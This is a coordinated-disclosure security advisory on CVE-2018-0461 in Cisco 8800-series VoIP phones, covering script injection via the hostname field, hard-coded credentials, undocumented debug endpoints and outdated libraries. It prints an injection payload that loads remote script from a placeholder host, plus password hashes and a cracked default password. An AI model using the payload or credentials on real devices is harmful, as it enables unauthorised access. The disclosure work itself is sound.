Multiple Vulnerabilities In Cisco VOIP Phones (CVE-2018-0461)


Multiple Vulnerabilities


Cisco VOIP Phones, e.g. models 88XX

Vulnerable Version

See list of vulnerable devices

Fixed Version

12.5.1 MN

CVE Number







W. Schober, IoT Inspector (Office Vienna) | SEC Consult Vulnerability Lab

SEC Consult was able to identify a JavaScript like code injection in the Cisco VoIP Phone 8800 Series via the built-in T9 keyboard. Moreover, multiple outdated libraries and hard coded credentials got identified by conducting a static firmware analysis using the IoT Inspector platform. Patches are already available by Cisco.

Vendor Description

“The Cisco IP Phone 8800 Series is a great fit for businesses of all sizes seeking secure, high-quality, full-featured VoIP. Select models provide affordable entry to HD video and support for highly-active, in-campus mobile workers.”


Business Recommendation

SEC Consult recommends to update the devices to the newest firmware (12.5.1 MN), where all the documented issues are fixed according to the vendor. We want to thank Cisco for the very professional response and great coordination.

Vulnerability Overview / Description

1) Arbitrary Script Injection

The VOIP phones can be managed directly via the integrated keyboard and the built-in screen. In the configuration menu a few spots allow users to input text via the integrated keyboard into text boxes (e.g. Hostname). Those text input fields are prone to JavaScript-like code injection. An attacker is able to inject arbitrary payloads via the T9 keyboard.

2) Hard coded and weak secrets

(Identified during an automated firmware analysis by IoT Inspector)
The firmware, which is directly served from Cisco, contains multiple hard coded password hashes. They are stored in the /etc/passwd file and are hashed using an outdated algorithm (UNIX MD5+salt). The users are not documented anywhere. Access via SSH using those credentials is possible.

Due to the outdated algorithm in use (UNIX MD5+Salt) and the very weak password it was easily possible to brute-force the password within seconds.

3) Undocumented debug functionality

During a manual firmware analysis a few undocumented endpoints in the built-in web application, which is running on the VOIP phone, were identified. Those routes lead to parts of the web application that are neither documented nor officially mentioned anywhere by Cisco. Those parts of the web application allow an attacker to debug the device and create memory dumps.

4) Various outdated components with known vulnerabilities

During the check a lot of outdated components were identified by their version numbers. It is not known which patches got backported by the vendor but Cisco mentioned that they have implemented some. The potentially affected components are:

  • wpa_supplicant
  • BusyBox
  • Dnsmasq
  • OpenSSL
  • OpenSSH
  • Linux Kernel Privilege Escalation “pp_key”
  • Linux Kernel Privilege Escalation “Mempodipper”
  • Multiple Linux Kernel CVE entries

Please take a look at the IoT Inspector report for details.

Proof Of Concept

1) Arbitrary Script Injection

A lot of settings can be changed directly on the VOIP phone via the built-in screen. There are also multiple locations, where user-input is parsed and displayed. It was possible to inject arbitrary (JavaScript) code directly into the phone UI. As an example the hostname of the VOIP Phone can be changed to the following value:

hostname“><img src=http://$IP/sec.js onload=exec()>

The sec.js gets loaded from the remote host immediately and the exec function is executed.

Further analysis has not been performed, but depending on the underlying libraries/system in use, it might be possible to get system level access via this attack vector.

2) Hard coded and weak secrets

The file at the following path contains a hard coded password for the user debug:

/_rootfs288xx.12-0-1ES-15.sbn.extracted/squashfs-root/etc/passwd $1$aoJQnypw$vHpN9WTJEQn1UnHzJdoz71 (Type: MD5 (Unix))

This hash corresponds to the following clear-text password: debug

The password for the user root and default is also stored in the /etc/passwd:

nCjlgBm7.lvX2 (Type: DES (Unix)) - Users: root, default

3) Undocumented debug functionality

The built-in VOIP phone web server offers multiple functionalities for the end-user. During a manual analysis, undocumented endpoints with critical functionality got identified. The functionality can be found by visiting the following endpoint:


Offered functionality includes:

  • Memory Info
  • Garbage Collection
  • Thread Info
  • Registration Info
  • Properties
  • Monitor Menu
  • Lock Menu

4) Various outdated components with known vulnerabilities

No PoC available.


Vulnerable / Tested Versions

The following firmware/device has been tested with IoT Inspector and manually:

  • Cisco IP Phone 88xx: Firmware version 12-0-1 ES-15 (ID: f86aa7612d9311e6)

The following devices are also vulnerable according to the vendor:

  • IP Conference Phone 8832
  • IP Phone 8811
  • IP Phone 8841
  • IP Phone 8845
  • IP Phone 8851
  • IP Phone 8861
  • IP Phone 8865
  • Unified IP Conference Phone 8831
  • Wireless IP Phone 8821
  • Wireless IP Phone 8821-EX

Vendor Contact Timeline

2018-10-17 Contacting Cisco PSIRT through
2018-10-17 Initial response from Cisco PSIRT. Assigned ID: PSIRT-0289060835 Cisco PSIRT requests that the public disclosure should be shifted to January 2019 to avoid public christmas holidays.
2018-10-18 Contacting Cisco PSIRT and agreeing on public disclosure date 2019-01-09.
2018-10-24 Update from Cisco that a case owner got assigned.
2018-10-29 Update from Cisco that they are still reviewing the vulnerabilities and that they have already requested CVEs.
2018-11-05 Update from Cisco with further details about the internal scheduling.
2018-11-12 Update from Cisco with further details about CVEs.
2018-11-12 Cisco assigned CVE-2018-0461 and informed us that the vulnerabilities will be fixed in an upcoming release at the end of the year; Requesting affected/fixed versions.
2018-11-30 Cisco responds with affected devices and firmware’s. Requesting updated firmware to do another IoT inspector scan, to verify the fixes.
2018-01-09 Public release of security advisory.


Update the firmware of the affected devices to at least 12.5.1 MN.

The vendor has published a security advisory as well:



  • Disable the built-in web server.
  • Segment the VoIP network in a way, that access for devices other than VOIP phones in any direction is not possible at all.
  • Remove the debug user.


Advisory URL


EOF W. Schober / @2018


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